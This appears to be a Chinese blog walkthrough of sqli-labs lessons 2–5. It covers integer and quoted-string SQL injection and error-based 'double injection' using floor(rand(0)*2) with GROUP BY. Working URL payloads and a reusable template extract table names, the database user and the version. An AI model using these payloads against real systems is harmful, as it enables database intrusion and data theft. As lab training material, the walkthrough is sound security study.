Sqli-labs2-5单引号变形,双引号,双注入

第二题

第二个就是整形的了

第一个是字符串的

整形与字符注入的区别!!!

整形是不用单引号闭合的,不要后面注释

直接 union联合查询就可以了~~
Sqli-labs2-5单引号变形,双引号,双注入_第1张图片

接下来就可以继续向第一题那样测试了

Sqli-labs2-5单引号变形,双引号,双注入_第2张图片

整型不需要闭合就可以执行后面的语句,字符型的则要闭合

http://localhost:9096/sqli-labs/Less-2/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema =0x7365637572697479

Sqli-labs2-5单引号变形,双引号,双注入_第3张图片

之后都是一样的。

这题主要与第一题的区别就是 整型和字符型

其实判断方法都是一样的

单引号走起

现在很少遇到了。。。。

很多都是过滤了各种

第三题 基于错误的GET单引号变形字符形成注入

起步先 单引号走起

报错了

Sqli-labs2-5单引号变形,双引号,双注入_第4张图片

报的错误 一看 ”1”)
应该是加了单引号和括号

http://localhost/sqli-labs/Less-3/?id=1')%23

闭合单引号和括号,注释后面的语句

可以正常执行

http://localhost/sqli-labs/Less-3/?id=-1';) union select 1,2,concat_ws(':',user(),database(),version())%23

Sqli-labs2-5单引号变形,双引号,双注入_第5张图片

可以正常获取想要的信息

第四题基于错误的GET双引号字符型注入

单引号,正常

http://localhost/sqli-labs/Less-4/?id=1';

Sqli-labs2-5单引号变形,双引号,双注入_第6张图片

使用双引号,报错
Sqli-labs2-5单引号变形,双引号,双注入_第7张图片

看到双引号和括号

闭合

http://localhost/sqli-labs/Less-4/?id=1")%23

Sqli-labs2-5单引号变形,双引号,双注入_第8张图片

获取信息

http://localhost/sqli-labs/Less-4/?id=-1";) union select 1,2,concat_ws(':',user(),database(),version())%23

Sqli-labs2-5单引号变形,双引号,双注入_第9张图片

第五题 双注入GET单引号字符型注入

参考:http://www.91ri.org/7636.html

双注入就是嵌套子查询。

双注入的原理是
当一个聚合函数,比如concat函数后面如果使用分组语句就会把查询
的一部分以错误的形式显示出来。

用到了 floor函数和 rand()

floor的作用就是返回整数部分,小数部分舍弃

rand()当前就是随机函数了

rand 函数式生成 0-1之间的小数随机值, rand()*2是生成0-2之间的
小数随机数,floor(rand()*2)就相当于生成0/1两个随机值

我参考了这篇文章,但是讲了半天也没讲原理。。。

我又看到另一篇讲解的讲解的很详细。
http://blog.csdn.net/qq_32400847/article/details/53453098
先使用 flor(rand()*2)
这么查询出来 0或1

select floor(rand()*2) from users;

Sqli-labs2-5单引号变形,双引号,双注入_第10张图片

但是每次都会变,固定种子

select floor(rand(0)*2) from users;

每次就都是一样的了

Sqli-labs2-5单引号变形,双引号,双注入_第11张图片

将表的第一条数据保留,其他的删除

select count(*),floor(rand(0)*2) a from user group by a;

Sqli-labs2-5单引号变形,双引号,双注入_第12张图片

再添加一条数据

select count(*),floor(rand(0)*2) a from user group by a;

Sqli-labs2-5单引号变形,双引号,双注入_第13张图片

再添加一条数据

select count(*),floor(rand(0)*2) a from user group by a;

这里写图片描述

此时报错了

0,1,报错

原因:

mysql在 group by时,会先建立一张虚拟表。

取第一条记录,执行 floor(rand(0)*2),发现结果为0,查询虚拟表,发现0的键值不存在,则在虚拟表插入
的新的数据时 floor(rand(0)*2)会被再计算一次,结果为1(第二次计算)

取第二条技术,执行 floor(rand(0)*2),发现结果为1(第三次计算),查询虚拟表,发现1的键值存在,所以
floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕。

再次增加一条的时候

floor(rand(0)*2)发现结果为0(第4次计算)
查询虚拟表,发现0的键值不存在! 那么会在被计算一次
结果为1(第5次计算)
但是这个 已经存在了。主键值必须唯一。所以插入表就报错了。

返回的这个也是个表,每次查询处理计算完插入进去。

这样就可以报错了。

我们去执行

http://localhost/sqli-labs/Less-5/?id=1';
and (select count(*),concat_ws(':',(select user()),floor(rand(0)*2)) a from information_schema.tables group by a) %23

Sqli-labs2-5单引号变形,双引号,双注入_第14张图片

只允许一个字段
改为:

http://localhost/sqli-labs/Less-5/?id=1';
and (select 1 from (select count(*),concat_ws(':',(select user()),floor(rand(0)*2)) a from information_schema.tables group by a) )%23

将原来的定义为表,然后查询一个字段

报错:
Sqli-labs2-5单引号变形,双引号,双注入_第15张图片

每个派生出来的表都必须有一个自己的别名

后面加个 别名

Sqli-labs2-5单引号变形,双引号,双注入_第16张图片

查询信息

http://localhost/sqli-labs/Less-5/?id=1';
and (select 1 from (select count(*),concat_ws(':',(select user()),(select database()),(select version()),floor(rand(0)*2)) a from information_schema.tables group by a)b )%23

这里写图片描述

注意使用的时候:

要嵌套查询
concat_ws里面还是想要的信息加上 floor(rand(0)*2) 作为一个表,以这个来分组
固定用法

union select 1 from (select+count(*),concat(floor(rand(0)*2),( 注入爆数据语句))a from information_schema.tables group by a)b

源代码:

没有返回信息,但是可以报错,将sql语句报错出来。
Sqli-labs2-5单引号变形,双引号,双注入_第17张图片

你可能感兴趣的:(安全,sqli-labs)